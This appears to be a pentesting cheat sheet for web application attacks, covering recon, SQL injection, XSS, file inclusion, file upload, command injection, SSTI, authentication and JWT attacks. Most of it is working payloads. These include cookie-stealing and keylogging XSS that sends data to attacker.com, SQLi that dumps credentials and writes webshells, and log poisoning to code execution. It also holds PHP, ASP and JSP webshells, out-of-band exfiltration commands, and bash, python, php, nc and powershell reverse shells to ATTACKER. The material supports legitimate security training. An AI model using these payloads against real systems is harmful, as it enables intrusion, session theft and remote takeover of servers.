[WEB APPLICATION SECURITY]

WEB APP SECURITY

COMPLETE REFERENCE

OWASP Top 10 · Recon · Exploitation · Tools · Defences

HTTP · SQLi · XSS · SSRF · XXE · LFI/RFI · SSTI · IDOR · Auth Bypass · API Security

Burp Suite · ffuf · sqlmap · Nikto · dirb · gobuster · hydra · wfuzz · nuclei

OWASP TOP 10

RECON & ENUM

INJECTION

XSS

AUTH ATTACKS

FILE ATTACKS

API SECURITY

TOOLS

DEFENCES

18 Sections · HTB Academy + OWASP + PortSwigger · Pentest + Defence

TABLE OF CONTENTS

HTTP FUNDAMENTALS

HTTP METHODS

GET	Retrieve resource. Parameters in URL. Should be idempotent, no side effects.
POST	Submit data to server. Body contains data. Creates/modifies resources.
PUT	Replace entire resource at URI. Idempotent.
PATCH	Partial update to resource.
DELETE	Remove resource at URI.
HEAD	Like GET but response body omitted. Good for headers/existence check.
OPTIONS	Describes communication options. Used in CORS preflight.
TRACE	Echoes request back. Disabled on most servers. XST attack vector.
CONNECT	Establish tunnel (HTTPS via proxy). Used to pivot through proxies.

HTTP STATUS CODES

200 OK	Request succeeded. Response body contains result.
201 Created	Resource created (POST/PUT success).
204 No Content	Success but no response body (DELETE, PATCH).
301 Moved Permanently	Permanent redirect — update bookmarks/links.
302 Found	Temporary redirect. GET method used for redirect.
304 Not Modified	Cached version is valid. No body returned.
400 Bad Request	Malformed request syntax, invalid params.
401 Unauthorized	Authentication required or failed.
403 Forbidden	Authenticated but access denied. Check roles/perms.
404 Not Found	Resource doesn't exist. Useful for enumeration.
405 Method Not Allowed	HTTP method not supported at this endpoint.
429 Too Many Requests	Rate limiting triggered.
500 Internal Server Error	Generic server error — may leak stack trace.
502 Bad Gateway	Upstream server (app server) returned invalid response.
503 Service Unavailable	Server overloaded or maintenance.

KEY HTTP REQUEST HEADERS

Host	Target hostname. Virtual hosting key. Manipulation → Host header injection.
User-Agent	Browser/client identifier. Spoof to bypass UA-based filters.
Cookie	Session cookies, tokens. Prime target for theft/fixation.
Authorization	Bearer <token>, Basic <b64>, Digest. JWT lives here.
Content-Type	Body media type: application/json, multipart/form-data, text/xml.
Content-Length	Body size in bytes. Manipulation → HTTP Request Smuggling.
Referer	Previous page URL. Can leak sensitive info. CSRF validation source.
Origin	Source origin for CORS requests. Must match for CORS to allow.
X-Forwarded-For	Client IP via proxy. Spoof for IP bypass: X-Forwarded-For: 127.0.0.1
X-Real-IP	Real client IP (nginx). Also spoofable.
Transfer-Encoding	chunked = body sent in chunks. TE.CL smuggling attack.
Accept	Response MIME types client accepts. Content negotiation.
Accept-Encoding	Compression: gzip, deflate, br.
Upgrade	WebSocket upgrade: Upgrade: websocket

KEY HTTP RESPONSE HEADERS

Set-Cookie	Sets cookie. Flags: Secure HttpOnly SameSite Path Domain Expires.
Content-Type	Body type incl charset. Missing charset → MIME sniff attack.
Location	Redirect target URL (301/302). Open redirect if user-controlled.
Server	Web server/version (Apache/2.4.49). Fingerprinting info — hide this.
X-Powered-By	Framework version (PHP/7.4.0). Remove this header.
WWW-Authenticate	Auth challenge scheme (Basic, Digest, Bearer).
Access-Control-Allow-Origin	CORS policy. * = any origin allowed (dangerous with cookies).

COOKIES — FLAGS & SECURITY

WEB ARCHITECTURE & COMPONENTS

WEB APPLICATION STACK LAYERS

DNS	Resolves domain → IP. Subdomains leak infrastructure. Zone transfers.
CDN / Load Balancer	Cloudflare, AWS ALB. Caches static. Hides real origin IP. WAF layer.
WAF	Web Application Firewall. Blocks common attacks. Bypassable with encoding/case.
Reverse Proxy	nginx, HAProxy. Terminates TLS, routes to backend. Hides server details.
Web Server	Apache, nginx, IIS, LiteSpeed. Serves static files, proxies to app server.
App Server	Gunicorn, uWSGI, Tomcat, Node.js. Runs application code.
Application Framework	Django, Rails, Laravel, Express, Spring. MVC pattern.
Database	MySQL, PostgreSQL, MongoDB, Redis, MSSQL. Stores persistent data.
Cache	Redis, Memcached. Session store, query cache. Cache poisoning attacks.
Message Queue	RabbitMQ, Kafka, SQS. Async processing. SSRF via internal endpoints.

COMMON WEB SERVER CONFIGURATIONS

Apache	Config: /etc/apache2/apache2.conf. DocumentRoot. .htaccess. mod_rewrite. mod_security.
nginx	Config: /etc/nginx/nginx.conf. server{} blocks. location{}. proxy_pass. SSRF via localhost.
IIS	Config: web.config (XML). ApplicationHost.config. ASP.NET. WebDAV enabled by default (old).
Tomcat	Config: server.xml, web.xml. Default creds: tomcat:tomcat. Manager app at /manager/html.
Node.js	package.json, app.js. Prototype pollution. Deserialization via node-serialize.

COMMON TECHNOLOGY FINGERPRINTING

X-Powered-By: PHP/7.4.0	PHP version — version-specific exploits
Set-Cookie: PHPSESSID=	PHP application — session ID format
Set-Cookie: JSESSIONID=	Java application (JSP/Spring/Struts)
Set-Cookie: ASP.NET_SessionId=	ASP.NET application — Microsoft stack
Server: Apache/2.4.49	Apache version → check known CVEs
Server: nginx/1.18.0	nginx version → check known CVEs
ETag: W/"hex-hex"	Often reveals inode (Apache) — use to find file info
X-AspNet-Version:	Exact .NET version — version-specific vulns
Server: Microsoft-IIS/10.0	IIS version → WebDAV, shorname enum, PUT method
Generator: WordPress 6.x	WordPress — enumerate plugins/themes, use wpscan

IMPORTANT URL STRUCTURE

ANATOMY:

https://user:pass@sub.example.com:8443/path/page.php?id=1&cat=2#section

https://	Scheme — protocol (http, https, ftp, file, javascript, data)
user:pass@	Credentials in URL — never do this, logged everywhere
sub.example.com	Host — domain/IP. Subdomain enum target.
:8443	Port — non-standard port, often app server / admin panels
/path/page.php	Path — file/resource. Extension reveals tech (.php .aspx .jsp)
?id=1&cat=2	Query string — parameter names often reflect DB columns (SQLi)
#section	Fragment — client-side only, not sent to server

HTTP VERSIONS

HTTP/0.9	Text only, single request/response. Historical.
HTTP/1.0	Separate connection per request. No persistent connections. No Host header.
HTTP/1.1	Persistent connections (Keep-Alive). Pipelining. Host header required. Current baseline.
HTTP/2	Binary framing. Multiplexing (multiple streams one connection). Header compression. Server pu
HTTP/3	QUIC (UDP-based). Eliminates HOL blocking. TLS 1.3 built-in. Faster mobile.
WebSocket	Upgrade from HTTP. Persistent bi-directional. ws:// wss://. Cross-origin issues.

RECONNAISSANCE & ENUMERATION

GOOGLE DORKS (Google Hacking)

`site:target.com`	Limit results to domain — find all indexed pages
`site:target.com filetype:pdf`	Find PDF files (could contain sensitive data)
`site:target.com filetype:xml OR filetype:json`	Config/data files
`intitle:"index of" site:target.com`	Open directory listings
`inurl:admin site:target.com`	Find admin panels
`inurl:login site:target.com`	Find login pages
`intext:"sql syntax" site:target.com`	Find SQL error messages
`intext:"Warning: mysql_fetch" site:target.com`	MySQL errors in output
`site:target.com ext:php inurl:?id=`	PHP pages with ID parameter (SQLi candidates)
`site:target.com -www`	Find subdomains (exclude www)
`cache:target.com`	Google's cached version of a page
`"DB_PASSWORD" site:github.com "target.com"`	Find leaked creds on GitHub
`inurl:/wp-admin/ site:target.com`	WordPress admin panels
`inurl:/.git/ site:target.com`	Exposed git repos

SUBDOMAIN ENUMERATION

```
subfinder -d target.com -o subs.txt
```
Passive subdomain discovery (many sources)

```
amass enum -d target.com
```
Comprehensive subdomain enum (passive+active)

```
assetfinder target.com
```
Fast passive subdomain finder

```
ffuf -w wordlist.txt -u https://FUZZ.target.com -H 'Host: FUZZ.target.com'
```
VHOST brute force

```
gobuster vhost -u https://target.com -w subs.txt
```
Gobuster virtual host enum

```
dnsx -l subs.txt -resp
```
Resolve subdomains to IPs

```
httpx -l subs.txt -status-code -title
```
Check which subdomains are alive

```
dig axfr @ns1.target.com target.com
```
Zone transfer (if misconfigured)

```
dnsrecon -d target.com -t brt -D wordlist.txt
```
DNS brute force

```
crt.sh (browser): %.target.com
```
Certificate transparency log search

```
curl 'https://crt.sh/?q=%.target.com&output=json'
```
crt.sh API query

DIRECTORY & FILE ENUMERATION

```
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
```
Basic directory enum

```
gobuster dir -u https://target.com -w wordlist.txt -x php,html,txt,bak
```
With extensions

ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302,403
ffuf directory fuzz

ffuf -u https://target.com/FUZZ -w wordlist.txt -e .php,.bak,.old,.txt
ffuf with extensions

ffuf -u https://target.com/page?FUZZ=val -w params.txt
Parameter discovery

dirb https://target.com /usr/share/dirb/wordlists/common.txt
Classic dirb

feroxbuster -u https://target.com -w wordlist.txt --depth 3
Recursive directory brute

wfuzz -c -w wordlist.txt --hc 404 https://target.com/FUZZ
wfuzz directory fuzz

INFORMATION GATHERING — OTHER SOURCES

whatweb https://target.com
Identify technologies, CMS, frameworks

wafw00f https://target.com
Detect WAF type and vendor

nmap -sV -p 80,443,8080,8443 target.com
Web port scanning with version

nmap --script http-enum target.com
Enumerate web paths via NSE

curl -I https://target.com
Grab HTTP headers (response info)

curl -v https://target.com 2>&1 | head -50
Verbose HTTP including TLS info

shodan search 'hostname:target.com'
Shodan: exposed services + banners

theHarvester -d target.com -b all
Email/subdomain/IP from OSINT sources

wget https://target.com/robots.txt
robots.txt — disallowed paths reveal structure

curl https://target.com/sitemap.xml
sitemap.xml — all indexed pages

curl https://target.com/.well-known/security.txt
Security contact info

OWASP TOP 10 (2021)

OWASP TOP 10 — 2021 EDITION

A01 Broken Access Control [CRITICAL]

Missing or misconfigured access control. IDOR, privilege escalation, CORS misconfiguration, path traversal.

e.g: Access /api/users/123 as user 456. Change role=user to role=admin in request.

A02 Cryptographic Failures [HIGH]

Weak crypto, data in cleartext, hardcoded keys, weak hashing (MD5), expired certs, missing TLS.

e.g: HTTP instead of HTTPS. MD5 password hashes. Hardcoded JWT secret in source code.

A03 Injection [CRITICAL]

SQL, LDAP, OS command, SSTI, XPath injection. Untrusted data sent to interpreter.

e.g: ' OR 1=1-- (SQLi). {{7*7}} (SSTI). ; cat /etc/passwd (CMDi).

A04 Insecure Design [HIGH]

Design flaws and missing security controls in architecture. Not testable individually.

e.g: No rate limiting on login. Password reset via secret question only.

A05 Security Misconfiguration [HIGH]

Default creds, unnecessary features, verbose errors, missing hardening, cloud misconfig.

e.g: admin:admin on Tomcat /manager. Stack traces exposed. S3 bucket public.

A06 Vulnerable & Outdated Components [HIGH]

Libraries/frameworks with known CVEs. Log4Shell (Log4j). Spring4Shell. Heartbleed.

e.g: Using Log4j 2.14 → CVE-2021-44228. jQuery 1.x with known XSS.

A07 Identification & Auth Failures [CRITICAL]

Weak passwords, no MFA, poor session management, credential stuffing.

e.g: Session ID in URL. No account lockout. JWT with alg:none. Default creds.

A08 Software & Data Integrity Failures [HIGH]

Insecure deserialization, unsigned updates, CI/CD pipeline attacks.

e.g: Java deserialization → RCE. npm package with malicious code. SolarWinds-style supply chain.

A09 Security Logging & Monitoring Failures [MEDIUM]

No logging, no alerting, logs not protected, SIEM gaps.

e.g: Brute force not detected. SQL errors not logged. No WAF alerts.

A10 SSRF — Server-Side Request Forgery [HIGH]

Server fetches URLs controlled by attacker. Access internal services/cloud metadata.

e.g: url=http://169.254.169.254/latest/meta-data/ (AWS). url=http://localhost/admin

SQL INJECTION (SQLi) — COMPLETE REFERENCE

SQLi TYPES

In-Band / Error	Server returns SQL error in response. Easiest. Extract data from error messages
In-Band / UNION	UNION SELECT injects extra SELECT. Must match column count + types.
Blind / Boolean	App returns True/False difference (e.g. content vs empty). Extract bit by bit.
Blind / Time-Based	No visible difference. Use SLEEP()/WAITFOR to infer data from delay.
Out-of-Band (OOB)	Data exfiltrated via DNS/HTTP request to attacker server (LOAD_FILE, UTL_HTTP).
Second-Order	Payload stored then executed in different context later (stored SQLi).

DETECTION PAYLOADS

`'`	Single quote — triggers syntax error in most DBs
`''`	Escaped quote — should succeed if input is string
`' OR '1'='1`	Classic authentication bypass
`' OR 1=1--`	Comment out rest of query (MySQL/MSSQL)
`' OR 1=1#`	MySQL comment
`1; SELECT SLEEP(5)--`	Time-based detection (MySQL)
`1'; WAITFOR DELAY '0:0:5'--`	Time-based detection (MSSQL)
`1 AND 1=1`	Boolean true — same result
`1 AND 1=2`	Boolean false — different result = blind SQLi confirmed

UNION-BASED EXTRACTION

`' ORDER BY 1--`	Find column count: increment until error
`' ORDER BY 5--`	Error on 5 → 4 columns in original query
`' UNION SELECT NULL,NULL,NULL,NULL--`	Match column count with NULLs
`' UNION SELECT 1,2,3,4--`	Find which columns display in output
`' UNION SELECT NULL,@@version,NULL,NULL--`	MySQL: get DB version
`' UNION SELECT NULL,database(),NULL,NULL--`	MySQL: current database name
`' UNION SELECT NULL,user(),NULL,NULL--`	MySQL: current DB user
`' UNION SELECT NULL,table_name,NULL,NULL FROM information_sc`	List tables
`' UNION SELECT NULL,column_name,NULL,NULL FROM information_s`	List columns
`' UNION SELECT NULL,concat(username,0x3a,password),NULL,NULL`	Dump creds
`' UNION SELECT NULL,load_file('/etc/passwd'),NULL,NULL--`	Read local file (if FILE priv)
`' UNION SELECT NULL,'<?php system($_GET[c]);?>',NULL,NULL IN`	Write webshell

DB-SPECIFIC CHEATSHEET

Feature	MySQL	MSSQL	Oracle	PostgreSQL
Feature	MySQL	MSSQL	Oracle	PostgreSQL
Version	@@version	@@version	v$version	version()
Current DB	database()	db_name()	ora_database_name	current_database()
List DBs	information_schema.sc	sys.databases	all_databases	pg_database
List Tables	information_schema.ta	information_schema.tables	all_tables	information_schema.table
String concat	concat(a,b) or a||b	a+b	a||b	a||b or concat(a,b)
Comment	-- or # or /**/	--	--	--
Sleep	SLEEP(5)	WAITFOR DELAY '0:0:5'	dbms_pipe.receive_me	pg_sleep(5)
File Read	load_file('/etc/passw	BULK INSERT / OPENROWSET	UTL_FILE	COPY FROM
Stacked Q	Yes (mysqli_multi_que	Yes	No	Yes

SQLMAP — AUTOMATED SQLi

sqlmap -u 'http://target.com/?id=1'
Basic scan on URL parameter

sqlmap -u 'http://target.com/?id=1' --dbs
Enumerate databases

sqlmap -u '...' -D mydb --tables
List tables in database

sqlmap -u '...' -D mydb -T users --columns
List columns in table

sqlmap -u '...' -D mydb -T users --dump
Dump entire table

sqlmap -u '...' --data='user=1&pass=x' -p user
POST parameter scan

sqlmap -r request.txt
Scan from Burp-saved raw request

sqlmap -u '...' --level=5 --risk=3
Max detection level and risk

sqlmap -u '...' --technique=BT --dbms=mysql
Blind+Time only, MySQL target

sqlmap -u '...' --os-shell
Attempt OS shell via SQLi

sqlmap -u '...' --file-read=/etc/passwd
Read file from server

sqlmap -u '...' --proxy=http://127.0.0.1:8080
Route through Burp proxy

sqlmap -u '...' --tamper=space2comment,between
WAF bypass tamper scripts

sqlmap -u '...' --random-agent --delay=2
Evasion: random UA, slow requests

WAF BYPASS TECHNIQUES

Case variation	sElEcT * fRoM users
Comment insertion	SE/**/LECT * FROM users
URL encoding	SELECT%20*%20FROM%20users
Double encoding	%2527 instead of %27 for '
Hex encoding	0x53454c454354 for SELECT
Whitespace subs	SELECT%09*%09FROM users (tab)

CROSS-SITE SCRIPTING (XSS)

XSS TYPES

Reflected XSS	Payload in request → reflected immediately in response. Not stored. Requires victim
Stored XSS	Payload stored in DB/file → executes for every user viewing. Most dangerous. Persis
DOM-Based XSS	Payload in URL fragment/param → JavaScript reads it and injects into DOM. No server
Blind XSS	Payload stored, executes in admin panel or backend tool you can't see. Use out-of-b
mXSS	Mutation XSS — browser mutates HTML during parse, escaping fails. Context-dependent

XSS DETECTION PAYLOADS

`<script>alert(1)</script>`	Classic alert test
`<img src=x onerror=alert(1)>`	Image error handler
`<svg onload=alert(1)>`	SVG event handler
`'"><img src=x onerror=alert(1)>`	Break out of attribute context
`javascript:alert(1)`	href/src attribute
`<body onload=alert(1)>`	Body onload
`<input autofocus onfocus=alert(1)>`	Auto-focus event
`</textarea><script>alert(1)</script>`	Break out of textarea
`{{constructor.constructor('alert(1)')()}}`	AngularJS template injection
`<script>alert(document.domain)</script>`	Confirm execution context
`<script>alert(document.cookie)</script>`	Steal cookies (if no HttpOnly)
`";alert(1)//`	Break out of JS string context

XSS EXPLOITATION PAYLOADS

Cookie theft

```
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
```

Cookie (img)

```
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">
```

Keylogger

```
<script>document.onkeypress=function(e){fetch('http://attacker.com/?k='+e.key)}</script>
```

Phishing

```
<script>document.body.innerHTML='<h1>Session expired - please login</h1><form action=http://attacker.com/phish
```

Port scan

```
<script>for(p of [22,80,443,3306,8080]){var i=new Image();i.src='http://127.0.0.1:'+p+'/';}</script>
```

CSRF via XSS

```
<script>fetch('/admin/delete-user',{method:'POST',credentials:'include',body:'id=5'})</script>
```

BeEF hook

```
<script src=http://attacker.com:3000/hook.js></script>
```

XSS FILTER BYPASS TECHNIQUES

Case variation	`<ScRiPt>alert(1)</ScRiPt>`
No angle brackets	`onerror=alert(1)` in attribute context
Encoded chars	`<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>`
Null bytes	`<scr%00ipt>alert(1)</scr%00ipt>` (old IE)
Tab/newline	`<img■src=x■onerror=alert(1)>`
JavaScript protocol	`<a href=javascript:alert(1)>click</a>`
SVG with CDATA	`<svg><script>//<![CDATA[ alert(1) //]]></script></svg>`
Template literals	`<script>alert`1`</script>` (backtick syntax)
CSS injection	`<style>body{background:url('javascript:alert(1)')}</style>` (legacy)

CSP — CONTENT SECURITY POLICY (Bypass Notes)

CSP purpose	Header: Content-Security-Policy. Restrict script sources. Mitigates XSS.
Unsafe directives	unsafe-inline, unsafe-eval, data: in script-src defeats CSP purpose
Bypass: JSONP	If trusted domain has JSONP endpoint, use it: script-src https://trusted.com + cal
Bypass: CDN	Hosted Angular/jQuery on allowed CDN → template injection or prototype pollution
Bypass: nonce	If nonce reused or predictable, inject <script nonce=XXXX>
Bypass: base-uri	Inject <base href=attacker.com> to hijack relative URLs
Report-Only	Content-Security-Policy-Report-Only: logs violations without blocking

FILE INCLUSION — LFI & RFI

LFI — LOCAL FILE INCLUSION

Basic LFI	?page=../../../../etc/passwd
Null byte (old PHP)	?page=../../../../etc/passwd%00
Double encoding	?page=..%252F..%252F..%252Fetc%252Fpasswd
Path truncation	?page=../../../../etc/passwd...../ (old PHP, truncates at 4096)
Bypass ../	?page=....//....//....//etc/passwd
Filter bypass	?page=....//....//etc/passwd (double slash prevents filter stripping ../)

KEY FILES TO READ VIA LFI

/etc/passwd	User accounts, home dirs, shells (Linux)
/etc/shadow	Password hashes — requires root read (Linux)
/etc/hosts	Local DNS entries, internal hostnames
/etc/hostname	Server hostname
/proc/self/environ	Process environment — may contain creds, secrets
/proc/self/cmdline	Command that started the process
/proc/self/fd/0-100	Open file descriptors
/var/log/apache2/access.log	Apache access log — log poisoning target
/var/log/nginx/access.log	nginx access log
/var/log/auth.log	SSH/auth attempts — log poisoning via SSH
/var/log/mail.log	Mail logs — SMTP log poisoning
/etc/apache2/apache2.conf	Apache config — DocumentRoot, aliases
/etc/nginx/nginx.conf	nginx config
C:\Windows\System32\drivers\etc\hosts	Windows hosts file
C:\inetpub\wwwroot\web.config	IIS config — may contain DB creds
C:\Windows\win.ini	Windows config
/var/www/html/config.php	App config — DB credentials
../../.env	Laravel/Django .env — all secrets
../../config/database.yml	Rails DB config
../../wp-config.php	WordPress — DB creds, secret keys
/home/user/.ssh/id_rsa	SSH private key (if readable)
/root/.ssh/id_rsa	Root SSH private key

PHP WRAPPERS FOR LFI

php://filter/convert.base64-encode/resource=config.php	Read PHP source (base64 encoded)
php://input	Read POST body as file — used with POST <?php system
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pO	Base64 encoded PHP shell
expect://id	RCE if expect extension enabled (rare)
zip://shell.zip#shell.php	Read file from ZIP archive
phar://shell.phar/shell.php	PHP Archive wrapper — phar deserialization

LOG POISONING → RCE

STEP 1: Confirm LFI	?page=../../../../var/log/apache2/access.log — see access log content
STEP 2: Poison log	curl -A '<?php system($_GET[c]);?>' http://target.com/ — inject PHP in User-Age
STEP 3: Execute	?page=../../../../var/log/apache2/access.log&c=id — trigger code execution
SSH log poison	ssh '<?php system($_GET[c]);?>'@target.com → poison /var/log/auth.log
SMTP log poison	Send email with PHP in MAIL FROM → poison /var/log/mail.log

RFI — REMOTE FILE INCLUSION

Basic RFI	?page=http://attacker.com/shell.php (allow_url_include=On required)
FTP RFI	?page=ftp://attacker.com/shell.txt
SMB RFI (Windows)	?page=\\attacker.com\share\shell.php
Detect allow_url_include	Check phpinfo() or /etc/php.ini for allow_url_include = On
Shell content	<?php system($_GET['cmd']); ?> hosted on attacker's HTTP server

FILE UPLOAD ATTACKS

UPLOAD BYPASS TECHNIQUES

Extension blacklist bypass	Try: .phtml .php5 .php7 .phar .shtml .shtm .pht
Double extension	shell.php.jpg — Apache may execute if misconfigured
Null byte (old)	shell.php%00.jpg — truncates at null in old PHP
MIME type spoofing	Change Content-Type: image/jpeg with .php file
Magic bytes	Add GIF89a; or JPEG \xff\xd8 to start of PHP shell
Case variation	shell.PHP shell.Php shell.pHp
Alternate streams (Windows)	shell.php::$DATA — bypasses extension filter on IIS/NTFS
ZIP/archive	Upload ZIP with path traversal: ../../../var/www/html/shell.php
SVG with PHP	<svg><script>alert(1)</script></svg> or SVG+PHP combo
Exif data injection	exiftool -Comment='<?php system($_GET[c]);?>' image.jpg
ImageMagick (GhostScript)	Content:...%!PS-Adobe exploit — ImageTragick CVE-2016-3714

WEBSHELL PAYLOADS

PHP minimal	<?php system($_GET['c']); ?>
PHP robust	<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
PHP passthru	<?php passthru($_GET['c']); ?>
PHP preg_replace	<?php preg_replace('/.*/e','system("id")',null); ?>
ASP.NET C#	<%@ Page Language="C#" %><% Response.Write(Server.Execute(Request["c"])); %>
ASP (classic)	<% eval request("c") %>
JSP	<% Runtime.getRuntime().exec(request.getParameter("c")); %>
PHP base64 bypass	<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>

FINDING UPLOADED FILE LOCATION

Common upload paths	/uploads/, /files/, /images/, /media/, /static/, /tmp/
Check response	App often returns filename or full path in response
Predict path	Pattern: /uploads/2024/01/shell.php (date-based)
Time correlation	Upload then check /uploads/ directory listing if open
Server header clue	X-Upload-Path or Location header in response
Force error	Upload invalid file, read error message for path
ffuf after upload	ffuf -u https://target.com/uploads/FUZZ -w filenames.txt

USING BURP SUITE FOR UPLOAD BYPASS

Intercept upload request in Burp Proxy	Capture multipart/form-data POST
Modify filename	Change filename='image.jpg' to filename='shell.php'
Modify Content-Type	Change to image/jpeg while keeping .php extension
Remove/modify magic bytes	Add GIF89a to beginning of file content
Burp Intruder for ext fuzzing	Try list of extensions: php,phtml,php5,php7,phar…
Upload to Repeater	Replay modified requests quickly

COMMAND INJECTION & SSTI

OS COMMAND INJECTION

`;`	Command separator (Linux/Windows): cmd1; cmd2
`&&`	Execute cmd2 if cmd1 succeeds: ping 127.0.0.1 && whoami
`||`	Execute cmd2 if cmd1 fails: ping INVALID || whoami
`|`	Pipe output of cmd1 to cmd2: ls | grep passwd
`` `cmd` ``	Backtick substitution (Linux): echo `whoami`
`$(cmd)`	Dollar substitution (Linux): echo $(id)
`\n%0a`	Newline injection: ip=127.0.0.1%0awhoami
`&cmd`	Background execution (Windows): ip=127.0.0.1&whoami

COMMAND INJECTION DETECTION PAYLOADS

`127.0.0.1; id`	Try basic command append — see 'uid=' in output
`127.0.0.1; sleep 5`	Time-based blind detection
`$(sleep 5)`	Subshell time-based
`127.0.0.1; curl http://attacker.com/$(whoami)`	OOB via DNS/HTTP
`127.0.0.1; nslookup $(whoami).attacker.com`	OOB DNS exfiltration
`127.0.0.1; ping -c 1 attacker.com`	Ping OOB
`|curl -s http://attacker.com/`	Pipe to curl for OOB

COMMAND INJECTION BYPASS TRICKS

Whitespace bypass	${IFS} instead of space: cat${IFS}/etc/passwd
Tab bypass	cat%09/etc/passwd (tab = %09)
Brace expansion	{cat,/etc/passwd}
Hex encoding	$'\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'
Variable concat	c=at; $c /etc/passwd — split command across vars
Wildcard	cat /etc/p?ss?d — bypass keyword filters
Base64	echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
Reverse shell	bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

SSTI — SERVER-SIDE TEMPLATE INJECTION

Jinja2 (Python)	{{7*7}}=49, {{config}}, {{''.__class__.__mro__[2].__subclasses__()}}
Jinja2 RCE	{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Jinja2 RCE v2	{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read(
Twig (PHP)	{{7*7}}, {{_self.env.registerUndefinedFilterCallback('exec')}},{{_self.env.getFilter
Freemarker	${7*7}, <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}
Smarty (PHP)	{php}echo system('id');{/php}
Velocity (Java)	#set($x='')$x.class.forName('java.lang.Runtime').getMethod('exec','').class).invoke(.
Pebble (Java)	{% set cmd = 'id' %}{% set bytes = cmd.class.forName('java.lang.Runtime')... %}
Detection	Try: {{7*7}}, ${7*7}, #{7*7}, <% 7*7 %>, {{7*'7'}} — each reveals engine type

REVERSE SHELLS (Quick Reference)

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Bash TCP reverse shell

python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));os.dup2(s.fileno(
Python3 reverse shell

php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
PHP reverse shell

nc -e /bin/bash ATTACKER 4444
Netcat with -e flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER 4444>/tmp/f
NC without -e

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();..."

AUTHENTICATION & SESSION ATTACKS

BRUTE FORCE & CREDENTIAL ATTACKS

```
hydra -l admin -P rockyou.txt target.com http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'
```
Hydra HTTP form brute

```
hydra -L users.txt -P passwords.txt target.com http-get-form '/login:u=^USER^&p=^PASS^:F=fail'
```
Hydra with user list

```
ffuf -u https://target.com/login -X POST -d 'user=admin&pass=FUZZ' -w rockyou.txt -fr 'Invalid'
```
ffuf password brute

```
ffuf -u https://target.com/login -X POST -d 'user=FUZZ&pass=admin' -w users.txt -fr 'failed'
```
ffuf username enum

```
wfuzz -c -z file,rockyou.txt -d 'user=admin&pass=FUZZ' https://target.com/login
```
wfuzz form brute

```
medusa -h target.com -u admin -P rockyou.txt -M http -m DIR:/login
```
Medusa HTTP brute

```
crackmapexec smb target.com -u users.txt -p passwords.txt
```
CrackMapExec SMB cred spray

DEFAULT CREDENTIALS (Common)

admin / admin	Tomcat Manager, Jenkins, many routers
admin / password	Cisco, Netgear, various apps
admin / (blank)	Many IoT devices
admin / 1234	Hikvision cameras
tomcat / tomcat	Apache Tomcat Manager
root / root	MySQL, various Linux defaults
sa / (blank)	MSSQL default sa account
guest / guest	Various applications
jenkins / jenkins	Jenkins CI
admin / Admin@123	Various enterprise apps

JWT ATTACKS

Structure	header.payload.signature — base64url encoded, signed
alg:none attack	Change alg to 'none', remove signature: eyJ...{"alg":"none"}.payload.
Weak secret	Crack HS256 with hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
RS256→HS256	If server accepts both: sign with RSA public key using HS256
kid injection	kid=../../dev/null or kid=anything' UNION SELECT 'attackerkey'--
jku header	Point jku to attacker-controlled JWKS endpoint
x5u header	Point x5u to attacker-controlled certificate
Tamper payload	Modify claims (role, admin, exp) then re-sign with known secret
Tool: jwt.io	Decode/inspect JWT online
Tool: jwt_tool	python3 jwt_tool.py <token> -X a (test all attacks)

SESSION ATTACKS

Session Fixation	Attacker sets known session ID before login; victim authenticates → atta
Session Hijacking	Steal valid session cookie via XSS, network sniff, log access
Predictable SID	Sequential or weak-random session IDs crackable or guessable
Session after logout	Server doesn't invalidate session server-side → token still works
Cookie theft via XSS	document.cookie exfiltration (requires HttpOnly not set)
CSRF (session action)	Force authenticated user to perform action using their session

AUTH BYPASS TRICKS

SQL injection in login	admin'-- or ' OR 1=1-- in username field
Password in username	admin%00password (null byte in some implementations)
Mass assignment	Register with {"role":"admin"} if app binds all JSON fields
Response manipulation	Change 200→302 or false→true in auth response body
X-Original-URL bypass	X-Original-URL: /admin — bypasses nginx/Apache ACL on some configs

IDOR & BROKEN ACCESS CONTROL

IDOR — INSECURE DIRECT OBJECT REFERENCE

What is IDOR	Accessing resources by modifying an ID parameter to reference another user'
Where to look	URL params: /api/users/123, /invoice/456.pdf, /profile?id=789
Also in	Cookies, POST body, JSON payload, hidden form fields, API endpoints
GUID/UUID IDOR	Even UUIDs may be predictable or leaked — still test BOLA
Horizontal privesc	User A accesses User B's data at same privilege level
Vertical privesc	Regular user accesses admin functionality
BOLA	Broken Object Level Authorization — same as IDOR, API-focused term (OWASP A
BFLA	Broken Function Level Authorization — access functions not meant for your r

IDOR TESTING METHODOLOGY

STEP 1: Create 2 accounts	Account A and Account B for cross-testing
STEP 2: Map all endpoints	Note all IDs, tokens, references in requests
STEP 3: Swap IDs	Use Account A's session to access Account B's resources
STEP 4: Test all params	URL, body, headers, cookies — IDs can be anywhere
STEP 5: Encode variations	Try base64, hashed, or encoded versions of IDs
STEP 6: Test indirect refs	Filenames, usernames, email addresses as references
Burp Intruder	Fuzz ID parameter with number range (1-1000)
Burp Autorize extension	Automatically replay requests with lower-priv session

ACCESS CONTROL BYPASS TECHNIQUES

Path traversal to admin	Modify URL: /admin/../user/../admin/delete
